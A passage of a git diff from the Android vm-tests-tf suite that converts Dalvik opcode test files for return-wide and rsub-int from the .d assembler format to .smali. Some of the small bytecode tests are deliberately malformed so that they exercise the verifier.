+
+.method public run()J
+.registers 6
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.d
deleted file mode 100644
index 57ffaf3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.d
+++ /dev/null
@@ -1,71 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_1.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 10
-    
-    const v1, 1
-    const v2, 2
-    const v3, 3
-    
-    const-wide v4, 0xdddd
-        
-    invoke-static {}, dot/junit/opcodes/return_wide/d/T_return_wide_1/test()J
-    move-result-wide v6
-    
-    cmp-long v0, v4, v6
-    if-nez v0, Label0
-
-    const v4, 1    
-    if-ne v1, v4, Label0
-    
-    const v4, 2    
-    if-ne v2, v4, Label0
-
-    const v4, 3
-    if-ne v3, v4, Label0
-    
-    const v0, 123456
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method private static test()J
-.limit regs 6
-    
-    const v0, 9999
-    const v1, 0xaaa
-    const v2, 0xbbbb
-    const v3, 0xcccc
-    
-    const-wide v4, 0xdddd
-    return-wide v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali
new file mode 100644
index 0000000..b30bde0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_1.smali
@@ -0,0 +1,71 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_1.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 10
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+    
+    const-wide v4, 0xdddd
+        
+    invoke-static {}, Ldot/junit/opcodes/return_wide/d/T_return_wide_1;->test()J
+    move-result-wide v6
+    
+    cmp-long v0, v4, v6
+    if-nez v0, :Label0
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()J
+.registers 6
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    
+    const-wide v4, 0xdddd
+    return-wide v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.smali
new file mode 100644
index 0000000..7b82b61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_3.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_wide/d/T_return_wide_3;
+.super Ljava/lang/Object;
+.source "T_return_wide_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()D
+    .registers 4
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    const-wide v0, 0x3ff0000000000000L    # 1.0
+
+    return-wide v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_wide/d/T_return_wide_3;->test()D
+
+    const p0, 0x1
+
+    return p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.d
deleted file mode 100644
index 692ac2b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_5.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    const v0, 1
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali
new file mode 100644
index 0000000..a82bbf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_5.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const v0, 1
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.d
deleted file mode 100644
index 3360ab7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_6.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 6
-    
-    const-wide v0, 1
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali
new file mode 100644
index 0000000..4526455
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_6.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    const-wide v0, 1
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.d
deleted file mode 100644
index 0363fcc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_7.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    return-wide v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali
new file mode 100644
index 0000000..ac5c891
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_7.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    return-wide v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.d
deleted file mode 100644
index be64ae1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_wide_8.java
-.class public dot.junit.opcodes.return_wide.d.T_return_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    const v0, 0
-    const v1, 0
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali
new file mode 100644
index 0000000..671662a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_wide/d/T_return_wide_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_wide_8.java"
+.class  public Ldot/junit/opcodes/return_wide/d/T_return_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    const v0, 0
+    const v1, 0
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.d
deleted file mode 100644
index b5124e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.d
+++ /dev/null
@@ -1,67 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_1.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 4
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 60
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 20
-       return v0
-.end method
-
-.method public run3(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -25
-       return v0
-.end method
-
-.method public run4(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -70
-       return v0
-.end method
-
-.method public run5(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -50
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali
new file mode 100644
index 0000000..2876779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_1.smali
@@ -0,0 +1,67 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_1.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 4
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int v0, v3, 60
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int v0, v3, 20
+       return v0
+.end method
+
+.method public run3(I)I
+.registers 4
+
+       rsub-int v0, v3, -25
+       return v0
+.end method
+
+.method public run4(I)I
+.registers 4
+
+       rsub-int v0, v3, -70
+       return v0
+.end method
+
+.method public run5(I)I
+.registers 4
+
+       rsub-int v0, v3, -50
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.d
deleted file mode 100644
index 544a12c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_10.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 4
-
-       rsub-int v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali
new file mode 100644
index 0000000..e9c3df4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_10.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_10.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.d
deleted file mode 100644
index e9a9b26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_11.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v2, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali
new file mode 100644
index 0000000..219aba6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_11.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_11.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v2, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.d
deleted file mode 100644
index 9c1ffec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_12.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-
-       rsub-int v0, v3, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali
new file mode 100644
index 0000000..e6f0434
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_12.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+
+       rsub-int v0, v3, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.d
deleted file mode 100644
index 4d63eea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_2.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 255
-       return v0
-.end method
-
-.method public run1(I)I
-.limit regs 4
-
-       rsub-int v0, v3, -32768
-       return v0
-.end method
-
-.method public run2(I)I
-.limit regs 4
-
-       rsub-int v0, v3, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali
new file mode 100644
index 0000000..16f9308
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_2.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rsub_int_2.java"
+.class  public Ldot/junit/opcodes/rsub_int/d/T_rsub_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 4
+
+       rsub-int v0, v3, 255
+       return v0
+.end method
+
+.method public run1(I)I
+.registers 4
+
+       rsub-int v0, v3, -32768
+       return v0
+.end method
+
+.method public run2(I)I
+.registers 4
+
+       rsub-int v0, v3, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.d
deleted file mode 100644
index 23efe0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rsub_int/d/T_rsub_int_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rsub_int_3.java
-.class public dot.junit.opcodes.rsub_int.d.T_rsub_int_3
-.super java/lang/Object
-
-
